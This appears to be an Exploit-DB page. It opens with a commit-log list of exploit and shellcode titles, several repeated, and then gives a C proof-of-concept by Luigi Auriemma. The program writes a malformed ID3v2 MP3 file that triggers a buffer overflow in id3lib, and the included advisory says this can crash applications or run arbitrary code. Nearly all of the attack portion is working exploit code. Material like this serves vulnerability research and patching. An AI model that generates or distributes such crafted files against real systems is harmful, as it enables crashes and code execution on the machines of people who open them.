
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
98 lines
No EOL
2.1 KiB
C
98 lines
No EOL
2.1 KiB
C
// source: https://www.securityfocus.com/bid/26945/info
|
|
|
|
The 'id3lib' library is prone to a buffer-overflow vulnerability.
|
|
|
|
An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application or to crash the application, denying further service to legitimate users.
|
|
|
|
This issue affects versions of id3lib committed to the CVS repository; other versions may also be affected.
|
|
|
|
/*
|
|
|
|
by Luigi Auriemma
|
|
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
|
|
|
|
|
|
#define VER "0.1"
|
|
#define u8 unsigned char
|
|
#define MASK(bits) ((1 << (bits)) - 1)
|
|
|
|
|
|
|
|
int w28(u8 *data, unsigned num);
|
|
void std_err(void);
|
|
|
|
|
|
|
|
int main(int argc, char *argv[]) {
|
|
FILE *fd;
|
|
int i;
|
|
u8 buff[1024],
|
|
*p;
|
|
|
|
setbuf(stdout, NULL);
|
|
|
|
fputs("\n"
|
|
"id3lib (devel CVS) array overflow "VER"\n"
|
|
"by Luigi Auriemma\n"
|
|
"e-mail: aluigi@autistici.org\n"
|
|
"web: aluigi.org\n"
|
|
"\n", stdout);
|
|
|
|
if(argc < 2) {
|
|
printf("\n"
|
|
"Usage: %s <output.MP3>\n"
|
|
"\n", argv[0]);
|
|
exit(1);
|
|
}
|
|
|
|
p = buff;
|
|
*p++ = 'I'; // "ID3"
|
|
*p++ = 'D';
|
|
*p++ = '3';
|
|
*p++ = 4; // ID3v2 4.0
|
|
*p++ = 0;
|
|
*p++ = 1 << 6; // flags: extended
|
|
p += w28(p, 0); // this->SetDataSize
|
|
p += w28(p, 0); // not used by id3lib
|
|
*p++ = 6; // extflagbytes
|
|
for(i = 0; i < 20; i++) {
|
|
*p++ = 0xcc;
|
|
}
|
|
|
|
printf("- create file %s\n", argv[1]);
|
|
fd = fopen(argv[1], "wb");
|
|
if(!fd) std_err();
|
|
fwrite(buff, 1, p - buff, fd);
|
|
fclose(fd);
|
|
printf("- done\n");
|
|
return(0);
|
|
}
|
|
|
|
|
|
|
|
int w28(u8 *data, unsigned num) {
|
|
const unsigned short BITSUSED = 7;
|
|
const unsigned MAXVAL = MASK(BITSUSED * 4);
|
|
int i;
|
|
|
|
if(num > MAXVAL) num = MAXVAL;
|
|
|
|
for(i = 0; i < 4; i++) {
|
|
data[4 - i - 1] = num & MASK(BITSUSED);
|
|
num >>= BITSUSED;
|
|
}
|
|
return(4);
|
|
}
|
|
|
|
|
|
|
|
void std_err(void) {
|
|
perror("\nError");
|
|
exit(1);
|
|
} |